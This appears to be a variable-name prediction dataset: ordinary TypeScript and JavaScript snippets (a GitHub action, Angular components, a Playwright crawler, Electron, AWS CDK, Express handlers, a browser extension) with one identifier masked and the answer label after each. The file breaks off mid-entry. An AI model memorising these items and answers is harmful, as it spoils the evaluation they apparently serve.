    if (installedVersion) return await setAndCheckOutput(installedVersion);

    installedVersion = await core.group('Installing release', async () => {
        const version = semver_clean(release.tag_name);
        if (!version) throw new Error(`Invalid version: ${release.tag_name}`);
        const assetName = `gh_${version}_${osPlat}_${osArch}.${assetExtension}`;
        const asset = release.assets.find(a => a.name === assetName);
        if (!asset) throw new Error(`Could not find a release asset for '${assetName}'`);
        return await install(asset, version);
    });
    await setAndCheckOutput(installedVersion);
}

try {
    main().catch((error) => core.setFailed(error.message));
} catch (error: any) {
    core.setFailed(error.message);
}
",versionOutput
599,"import {Component, ElementRef, EventEmitter, Output, ViewChild} from '@angular/core';
import {Ingredient} from ""../../../shared/ingredient.model"";

@Component({
  selector: 'app-shopping-edit',
  templateUrl: './shopping-edit.component.html',
  styleUrl: './shopping-edit.component.css'
})
export class ShoppingEditComponent {

  @ViewChild('nameInput') nameInput: ElementRef;
  @ViewChild('amountInput') amountInput: ElementRef;

  @Output() ingredientAdded = new EventEmitter<Ingredient>();

  onAddItem() {
    const ingredientName = (this.nameInput.nativeElement as HTMLInputElement).value;
    const ingredientAmount = Number.parseInt((<HTMLInputElement>this.amountInput.nativeElement).value);
    const  [MASK]  = new Ingredient(
      ingredientName,
      ingredientAmount
    );

    this.ingredientAdded.emit( [MASK] );
  }
}
",newIngredient
600,"/**
 * @license
 * Copyright 2018 JBoss Inc
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import {Component} from ""@angular/core"";
import {ActivatedRoute, Router} from ""@angular/router"";

import {ApiDefinition} from ""../../../../models/api.model"";
import {AbstractPageComponent} from ""../../../../components/page-base.component"";
import {Title} from ""@angular/platform-browser"";
import {ApisService} from ""../../../../services/apis.service"";
import {NewApiTemplate} from ""../../../../models/new-api-template.model"";
import {ApiTemplatePublication} from ""../../../../models/api-template-publication.model"";

@Component({
    selector: ""template-publication-page"",
    templateUrl: ""template-publication.page.html"",
    styleUrls: [""template-publication.page.css""]
})
export class TemplatePublicationPageComponent extends AbstractPageComponent {

    public api: ApiDefinition;
    public templates: ApiTemplatePublication[];

    public name: string;
    public description: string;

    public sending: boolean = false;
    public sent: boolean = false;

    /**
     * Constructor.
     * @param router
     * @param route
     * @param apis
     * @param titleService
     */
    constructor(private router: Router, route: ActivatedRoute, private apis: ApisService, protected titleService: Title) {
        super(route, titleService);
        this.api = new ApiDefinition();
        this.api.name = ""API"";
    }

    /**
     * The page title.
     */
    protected pageTitle(): string {
        return ""Apicurio Studio - Create Template"";
    }

    /**
     * Called to kick off loading the page's async data.
     * @param params
     */
    public loadAsyncPageData(params: any): void {
        console.info(""[TemplatePageComponent] Loading async page data"");
        let apiId: string = params[""apiId""];
        this.apis.getApiDefinition(apiId).then(api => {
            this.api = api;
            this.dataLoaded[""api""] = true;
            this.updatePageTitle();
        }).catch(error => {
            console.error(""[TemplatePageComponent] Error getting API def"");
            this.error(error);
        });
        this.apis.getTemplatePublications(apiId).then(templates => { // getTemplateActivity
            this.templates = templates;
            if (templates && templates.length > 0) {
                console.debug(`Loaded ${templates.length} templates for apiId ${apiId}`);
            }
            this.dataLoaded[""templates""] = true;
        });
        
    }

    public isDataLoaded(): boolean {
        return this.isLoaded(""api"") && this.isLoaded(""templates"");
    }
    
    public hasTemplatePublications() {
        return this.templates && this.templates.length > 0
    }

    public publishTemplate(): void {
        if (!this.isValid()) {
            return;
        }
        this.sending = true;

        let newTemplate: NewApiTemplate = new NewApiTemplate();
        newTemplate.name = this.name;
        newTemplate.description = this.description;

        this.apis.publishApiTemplate(this.api.id, newTemplate).then(thing => {
            this.sending = false;
            this.sent = true;
            let  [MASK] : string[] = [ ""/apis"", this.api.id ];
            console.info(""[TemplatePageComponent] Navigating to: %o"",  [MASK] );
            this.router.navigate( [MASK] );
        }).catch(error => {
            this.sending = false;
            this.sent = false;
            this.error(error);
        })
    }

    public isValid(): boolean {
        return this.api && this.name && this.name.length > 0;
    }

}
",link
601,"import playwright, { Browser, LaunchOptions, Page, Response } from 'playwright';
import UserAgent from 'user-agents';

import { createAppError } from '../error/index.js';
import { logger } from '../logger/index.js';
import { chunkArray } from '../utils/arrays/index.js';

export type TBrowserType = 'chromium' | 'firefox' | 'webkit';

interface ICrawlerServiceConstructor {
  userAgent?: string;
  browser?: TBrowserType;
}

interface IOpenPageOptions {
  userAgent?: string;
}

interface INavigateOptions {
  timeoutMS?: number;
  waitUntil?: 'networkidle' | 'domcontentloaded' | 'load' | 'commit';
}

interface INavigateToLink {
  link: string;
  page: Page;
  options?: INavigateOptions;
}

interface INavigateStatus {
  status: number;
  link: string;
  error?: ReturnType<typeof createAppError>;
}

interface ICrawlerPageOptions {
  options: INavigateOptions & { threads: number };
}

interface ICheckLinksRedirect extends ICrawlerPageOptions {
  links: string[];
}

export interface ICheckLinkRedirectsReturn extends INavigateStatus {
  redirects: INavigateStatus[];
}

interface ICrawlWebPages extends ICrawlerPageOptions {
  links: string[];
  dataExtractorFunction: string;
  keepFalsyData: boolean;
}

interface ICrawlPagesReturn {
  data: unknown;
  link: string;
  error?: ReturnType<typeof createAppError>;
}

interface IMatchWebPages extends ICrawlerPageOptions {
  links: string[];
  predicateFunction: string;
  keepNonMatchingPages: boolean;
}

export interface IMatchWebPagesReturn {
  link: string;
  isMatched: boolean;
  error?: ReturnType<typeof createAppError>;
}

export class CrawlerService {
  private static UA = new UserAgent();

  private readonly USER_AGENT: string;
  private readonly BROWSER_NAME: TBrowserType;
  private BROWSER: Browser | undefined;

  constructor({ userAgent, browser }: ICrawlerServiceConstructor) {
    this.USER_AGENT = userAgent ?? CrawlerService.UA.random().toString();
    this.BROWSER_NAME = browser ?? 'chromium';
  }

  get userAgent(): string {
    return this.USER_AGENT;
  }

  get browserName(): string {
    return this.BROWSER_NAME;
  }

  public async initService(
    options: LaunchOptions = { headless: true },
  ): Promise<void> {
    this.BROWSER = await playwright[this.BROWSER_NAME].launch(options);
  }

  public async openPage({ userAgent }: IOpenPageOptions = {}): Promise<
    Page | undefined
  > {
    return this.BROWSER?.newPage({
      userAgent: userAgent ?? this.USER_AGENT,
    });
  }

  public async closePage(page: Page): Promise<void> {
    return await page.close();
  }

  public async navigateToLink({
    link,
    page,
    options = {},
  }: INavigateToLink): Promise<Response | null> {
    return await page.goto(link, { waitUntil: 'load', ...options });
  }

  public async matchPagesByPredicate({
    links,
    predicateFunction,
    keepNonMatchingPages,
    options,
  }: IMatchWebPages): Promise<IMatchWebPagesReturn[]> {
    const linkChunks = chunkArray(links, options.threads);

    const linksToBeProcessed = linkChunks.map(async (linkBucket) => {
      const page = await this.openPage();

      if (!page) {
        throw createAppError(['Could not process links', 500]);
      }

      const pagesPerBucket: IMatchWebPagesReturn[] = new Array(
        linkBucket.length,
      );

      for (let i = 0; i < linkBucket.length; i++) {
        const link = linkBucket[i];

        try {
          await this.navigateToLink({ link, page, options });
          const match = await page.evaluate(`(${predicateFunction})()`);

          if (!(typeof match === 'boolean')) {
            pagesPerBucket.push({
              link,
              isMatched: false,
              error: createAppError(['Function is not a predicate.', 404]),
            });
            continue;
          }

          if (keepNonMatchingPages) {
            pagesPerBucket.push({
              link,
              isMatched: match,
            });
            continue;
          }

          if (!match) {
            continue;
          }

          pagesPerBucket.push({
            link,
            isMatched: true,
          });
        } catch (error) {
          logger.error(error);
          pagesPerBucket.push({
            link,
            isMatched: false,
            error: createAppError(['Could not process link.', 500]),
          });
        }
      }

      page.close();

      return pagesPerBucket;
    });

    return (await Promise.all(linksToBeProcessed)).flat();
  }

  public async crawlPagesForData({
    links,
    dataExtractorFunction,
    keepFalsyData,
    options,
  }: ICrawlWebPages): Promise<ICrawlPagesReturn[]> {
    const linkChunks = chunkArray(links, options.threads);

    const linksToBeProcessed = linkChunks.map(async (linkBucket) => {
      const page = await this.openPage();

      if (!page) {
        throw createAppError(['Could not process links', 500]);
      }

      const pagesPerBucket: ICrawlPagesReturn[] = new Array(linkBucket.length);

      for (let i = 0; i < linkBucket.length; i++) {
        const link = linkBucket[i];

        try {
          await this.navigateToLink({ link, page, options });
          const data = await page.evaluate(`(${dataExtractorFunction})()`);

          if (keepFalsyData) {
            pagesPerBucket.push({
              data,
              link,
            });
            continue;
          }

          if (!data) {
            continue;
          }

          pagesPerBucket.push({
            data,
            link,
          });
        } catch (error) {
          logger.error(error);
          pagesPerBucket.push({
            data: null,
            error: createAppError(['Could not process link.', 500]),
            link,
          });
        }
      }

      page.close();

      return pagesPerBucket;
    });

    return (await Promise.all(linksToBeProcessed)).flat();
  }

  public async checkLinksRedirects({
    links,
    options: { threads, ...navigationOptions },
  }: ICheckLinksRedirect): Promise<ICheckLinkRedirectsReturn[]> {
    const linkChunks = chunkArray(links, threads);

    const linksToBeProcessed = linkChunks.map(async (linkBucket) => {
      const page = await this.openPage();

      if (!page) {
        throw createAppError(['Could not process links', 500]);
      }

      const pagesPerBucket: ICheckLinkRedirectsReturn[] = [];

      for (let i = 0; i < linkBucket.length; i++) {
        const link = linkBucket[i];

        try {
          const redirects: INavigateStatus[] = [];
          let linkStatus: number | undefined = undefined;

          page.on('response', (response) => {
            const pageStatus = response.status();
            const  [MASK]  = response.url();

            const originalLinkHostname = new URL(link).hostname;
            const linkHostname = new URL( [MASK] ).hostname;

            if (
              originalLinkHostname === linkHostname &&
              (pageStatus === 200 || (pageStatus >= 300 && pageStatus < 400)) &&
              response.request().resourceType() === 'document'
            ) {
              //Avoid's the adding the first link, but keep the status
              if (link ===  [MASK] ) {
                linkStatus = pageStatus;
                return;
              }

              redirects.push({
                link:  [MASK] ,
                status: pageStatus,
              });
            }
          });

          const navigationStatus = await this.navigateToLink({
            link,
            page,
            options: navigationOptions,
          });

          if (!navigationStatus) {
            throw createAppError(['Could not process link.', 500]);
          }

          pagesPerBucket.push({
            status: linkStatus ?? navigationStatus.status(),
            link,
            redirects,
          });
        } catch (error) {
          logger.error(error);
          pagesPerBucket.push({
            status: 500,
            link,
            error: createAppError(['Could not process link.', 500]),
            redirects: [],
          });
        }
      }

      page.close();

      return pagesPerBucket;
    });
    return (await Promise.all(linksToBeProcessed)).flat();
  }

  public async closeBrowser(): Promise<void> {
    await this.BROWSER?.close();
  }
}
",pageUrl
602,"const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;
const Menu = electron.Menu;
const Tray = electron.Tray;

/* ---------------------------------
	メニューの設定
---------------------------------- */
const templateMenu = [
  {
    label: 'Menu',
    submenu: [
      {
        label: 'Quit',
        role: 'quit',
      },
    ],
  },
];

/* ---------------------------------
	通知領域アイコンメニューの設定
---------------------------------- */
const contextMenu = Menu.buildFromTemplate([
  {
    label: 'some function',
    type: 'checkbox',
    checked: true,
    click: e => {
      console.log(e.checked);
    },
  },
  {
    label: 'アプリケーションを終了する',
    role: 'quit',
  },
]);

// レンダープロセスとなるブラウザ・ウィンドウのオブジェクト
// null にするとそのウィンドウにはアクセスできなくなる
let win;

function createWindow() {
  //メニュー
  const menu = Menu.buildFromTemplate(templateMenu);
  Menu.setApplicationMenu(menu);

  // 通知領域アイコン
  // let iconPath = """";
  // if (process.platform === 'darwin') {
  //     iconPath = __dirname + '/icons/trayIcon_bk.png';
  // } else if (process.platform === 'win32') {
  //     iconPath = __dirname + '/icons/trayIcon_wh.png';
  // }
  // const appIcon = new Tray(iconPath.toString());
  // appIcon.setContextMenu(contextMenu);

  // パス
  const path = require('path');
  // 画面サイズを取得する
  const  [MASK]  = electron.screen;
  const size =  [MASK] .getPrimaryDisplay().size;

  // ブラウザウィンドウの作成
  win = new BrowserWindow({
    top: 0,
    left: 0,
    width: 800,
    height: 600,
    // width: size.width,
    // height: size.height,
    // transparent: true,
    // frame: false,
    // resizable: false,
    // movable: true,
    // skipTaskbar: true,
    // alwaysOnTop: true,
    // hasShadow: false,
  });
  // ウィンドウを最大化
  // backWin.maximize();
  // マウスイベントを無視
  // backWin.setIgnoreMouseEvents(true, {forward: true});
  // win.loadFile('../dist/index.html');
  // win.loadFile(path.join(__dirname, './index.html'));
  win.loadURL(`file://${__dirname}/../web/index.html`);
  // win.loadURL('file://' + __dirname + '/index.html');
  // 起動オプションに ""--debug""があれば開発者ツールを起動
  if (process.argv.find(arg => arg === '--debug')) {
    win.webContents.openDevTools();
  }
  // ブラウザウィンドウを閉じたときのイベントハンドラ
  win.on('closed', () => {
    win = null;
  });
}

// Electronが初期化終了し、ブラウザウィンドウを作成する準備ができた時に呼び出されるメソッド
app.on('ready', createWindow);

// 全てのウィンドウオブジェクトが閉じた時に呼び出されるメソッド
app.on('window-all-closed', () => {
  // Macではウィンドウを閉じてもcmd+Qで終了するまでメインプロセスは終了しない
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

app.on('activate', () => {
  // Macではウィンドウが閉じられていてもドックアイコンクリックでウィンドウを再構築する
  if (win === null) {
    createWindow();
  }
});
",Screen
603,"import fs from 'fs';
import { resolve } from 'path';
import { debounce } from 'lodash';
import { RequestHandler } from 'express';
import { Compiler, Stats } from 'webpack';
import SSEStream from 'ssestream';

export default function(compiler: Compiler): RequestHandler {
    return (req, res, next) => {
        res.header('Access-Control-Allow-Origin', '*');
        const sseStream = new SSEStream(req);
        sseStream.pipe(res);
        let closed = false;

        const contentScriptsModules = fs.readdirSync(resolve(__dirname, '../../src/contents'));
        const compileDoneHook = debounce((stats: Stats) => {
            const { modules } = stats.toJson({ all: false, modules: true });
            const  [MASK]  =
                !stats.hasErrors() &&
                modules &&
                modules.length === 1 &&
                contentScriptsModules.includes(modules[0].chunks[0] as string);

            if ( [MASK] ) {
                sseStream.write(
                    {
                        event: 'compiledSuccessfully',
                        data: {
                            action: 'reload extension and refresh current page',
                        },
                    },
                    'UTF-8',
                    error => {
                        if (error) {
                            console.error(error);
                        }
                    },
                );
            }
        }, 1000);

        // 断开链接后之前的 hook 就不要执行了
        const plugin = (stats: Stats) => !closed && compileDoneHook(stats);
        compiler.hooks.done.tap('extension-auto-reload-plugin', plugin);

        res.on('close', () => {
            closed = true;
            sseStream.unpipe(res);
        });

        next();
    };
}
",shouldReload
604,"type ClassNamesType = string[] | {} | string;

function eachObject(res: string[], object?: any) {
  object = Object(object)
  for (const key in object) {
    const currentAttr = object[key];
    // 函数
    if (typeof currentAttr === ""function"") {
      currentAttr() && res.push(key as string);
    } else if (typeof currentAttr === ""boolean"") {
      currentAttr && res.push(key);
    } else {
      res.push(currentAttr.toString());
    }
  }
}

/**
 * 计算组件的 className 属性
 * @param classnames 组件的 class 属性，支持 string | array | object
 * @param partialClassnames 支持扩展 class 属性，有时第一个传数组，需要扩展 class 时，可以传入第二个
 * @returns 计算后的组件 class
 */
function useClassNames(
  classnames: ClassNamesType,
  partialClassnames?: {}
): string {
  let firstClassName = '',
       [MASK]  = '';
  if (typeof classnames === ""string"") {
    firstClassName = classnames;
  } else if (Array.isArray(classnames)) {
    firstClassName = classnames.join("" "");
  } else {
    const res: string[] = [];
    eachObject(res, classnames)
    firstClassName = res.join("" "");
  }

  // 计算追加的 object 部分 classname
  if(partialClassnames) {
    const res: string[] = [];
    eachObject(res, partialClassnames)
     [MASK]  = res.join(' ')
  }
  return  [MASK]  ? `${firstClassName} ${ [MASK] }` : firstClassName
}

export { useClassNames };
",partialClassName
605,"import cdk = require('@aws-cdk/core');
import route53 = require('@aws-cdk/aws-route53');
import iam = require('@aws-cdk/aws-iam');
import { PolicyStatement } from '@aws-cdk/aws-iam';

export interface DNSProps {
  readonly dnsAdmin: string;
  readonly delegation53Arn: string;
  readonly domains: string[];
}

function dnsStack(stack: cdk.Stack, props: DNSProps) {
  const  [MASK]  = props.domains.map(
    (d) =>
      new route53.PublicHostedZone(stack, d, {
        zoneName: d,
      }),
  );
  const dnsAdmin: iam.IRole = new iam.Role(stack, props.dnsAdmin, {
    assumedBy: new iam.ArnPrincipal(props.delegation53Arn),
    roleName: props.dnsAdmin,
  });
  dnsAdmin.addToPolicy(
    new PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ['route53:ChangeResourceRecordSets'],
      resources: ['arn:aws:route53:::hostedzone/*'],
    }),
  );
  dnsAdmin.addToPolicy(
    new PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ['route53:ListHostedZones', 'route53:ListResourceRecordSets'],
      resources: ['*'],
    }),
  );
  return  [MASK] ;
}

export class DNSStack extends cdk.Stack {
  constructor(scope: cdk.App, id: string, props: cdk.StackProps & DNSProps) {
    super(scope, id, props);
    dnsStack(this, props);
  }
}
",zones
606,"import { Request, Response } from 'express'
import path from 'path';
import fs from 'fs';

export const getAllMetricsDirectories = (req: Request, res: Response) => {
    req.accepted;
    const metricsDir = path.join('assets/outputs/metrics');

    fs.readdir(metricsDir, { withFileTypes: true }, (err, files): any => {
        if (err) {
            console.error('Error reading directory:', err);
            return res.status(500).send('Server error');
        }

        let  [MASK] : any = files.filter(dirent => dirent.isDirectory()).map(dirent => dirent.name);

         [MASK]  =  [MASK] .map((folder: any) => ({
            id: folder,
            name: folder
        }))

        res.json( [MASK] );
    });
};

export const getMetricsByName = (req: Request, res: Response) => {
    req.accepted;
    const fileName = req.params.name;
    const filePath = path.resolve(path.join('assets/outputs/metrics', fileName, 'metrics_report.pdf'));

    fs.access(filePath, fs.constants.F_OK, (err): any => {
        if (err) {
            console.error('File does not exist:', err);
            return res.status(404).send('File not found');
        }
        res.sendFile(filePath);
    });
};

export const getWorkflowObjectByName = (req: Request, res: Response) => {
    req.accepted;
    const fileName = req.params.name;
    const filePath = path.resolve(path.join('assets/outputs/metrics', fileName, 'workflowObject.txt'));

    fs.access(filePath, fs.constants.F_OK, (err): any => {
        if (err) {
            console.error('File does not exist:', err);
            return res.status(404).send('File not found');
        }
        res.sendFile(filePath);
    });
};",folders
607,"import reloadOnUpdate from 'virtual:reload-on-update-in-background-script';
import 'webextension-polyfill';

reloadOnUpdate('pages/background');

const selfExtensionId = chrome?.runtime?.id;

// 不要显示 url
const doNotShowUrlList = [chrome.i18n.getMessage('mds'), chrome.i18n.getMessage('vscodeExtension')];

// 不要加上 <match> <url> <dim>
const doNotDecorateDescriptionList = [];

const bizLinks = [
  // global site
  {
    keywords: [chrome.i18n.getMessage('console'), 'console'],
    display: chrome.i18n.getMessage('global'),
    urlMap: {
      [chrome.i18n.getMessage('dwConsole')]: 'https://dataworks.console.aliyun.com',
      [chrome.i18n.getMessage('hologresConsole')]: 'https://hologram.console.aliyun.com',
      [chrome.i18n.getMessage('mcConsole')]: 'https://maxcompute.console.aliyun.com',
      [chrome.i18n.getMessage('paiConsole')]: 'https://pai.console.aliyun.com',
      [chrome.i18n.getMessage('emrConsole')]: 'https://emr-next.console.aliyun.com',
      [chrome.i18n.getMessage('flinkConsole')]: 'https://flink.console.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('dataset'), 'datasets'],
    display: chrome.i18n.getMessage('datasetLink'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://dataworks.console.aliyun.com/publicDatasets',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('openAPI'), 'openapi', 'open'],
    display: chrome.i18n.getMessage('openApiLink'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://next.api.aliyun.com/api/dataworks-public',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('openPlatform'), 'openplatform', 'open'],
    display: chrome.i18n.getMessage('openPlatform'),
    urlMap: {
      [chrome.i18n.getMessage('openPlatform')]: 'https://openplatform.data.aliyun.com',
    },
  },
  // region site
  {
    keywords: [chrome.i18n.getMessage('inner'), 'inner', '弹内'],
    display: chrome.i18n.getMessage('inner'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://setting.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('newDataStudio')]: 'https://bff.dw.alibaba-inc.com/ide',
      [chrome.i18n.getMessage('dataStudio')]: 'https://datastudio.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataService')]: 'https://dataservice.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://sqlx.alibaba-inc.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('di')]: 'https://di.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('model')]: 'https://kimball.alibaba-inc.com',
      [chrome.i18n.getMessage('openPlatform')]: 'https://open-inner.dw.alibaba-inc.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb.dw.alibaba-inc.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shanghai'), 'shanghai', 'shang', '上海'],
    display: chrome.i18n.getMessage('shanghai'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-shanghai',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dqc-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-shanghai.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-shanghai.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('hangzhou'), 'hangzhou', 'hang', '杭州'],
    display: chrome.i18n.getMessage('hangzhou'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-hangzhou',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-hangzhou.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-hangzhou.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('shenzhen'), 'shenzhen', 'shen', '深圳'],
    display: chrome.i18n.getMessage('shenzhen'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-shenzhen',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-shenzhen.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-shenzhen.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('beijing'), 'beijing', 'bei', '北京'],
    display: chrome.i18n.getMessage('beijing'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-beijing',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-beijing.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-beijing.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('chengdu'), 'chengdu', 'cheng', '成都'],
    display: chrome.i18n.getMessage('chengdu'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-chengdu',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-chengdu.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-chengdu.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('zhangjiakou'), 'zhangjiakou', 'zhang', '张家口'],
    display: chrome.i18n.getMessage('zhangjiakou'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-zhangjiakou',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-zhangjiakou.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-zhangjiakou.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('wulanchabu'), 'wulanchabu', 'wulan', '乌兰察布'],
    display: chrome.i18n.getMessage('wulanchabu'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-wulanchabu',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-wulanchabu.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-wulanchabu.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-wulanchabu.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-wulanchabu.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-wulanchabu.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('hongkong'), 'hongkong', 'hong', 'hk', '香港'],
    display: chrome.i18n.getMessage('hongkong'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorksSetting')]: 'https://sc.data.aliyun.com/cn-hongkong',
      [chrome.i18n.getMessage('dataStudio')]: 'https://ide2-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('dataMap')]: 'https://dmc-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('dataService')]: 'https://ds-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('dataAnalytics')]: 'https://da-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('dgc')]: 'https://dgc-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('dqc')]: 'https://dqc-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('di')]: 'https://di-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('model')]: 'https://model-cn-hongkong.data.aliyun.com',
      [chrome.i18n.getMessage('holoweb')]: 'https://holoweb-cn-hongkong.data.aliyun.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('singapore'), 'singapore', 'sin', 'sg', 'ap-southeast-1', 'ap', 'southeast', 'south', 'east', '新加坡'],
    display: chrome.i18n.getMessage('singapore'),
    urlMap: {
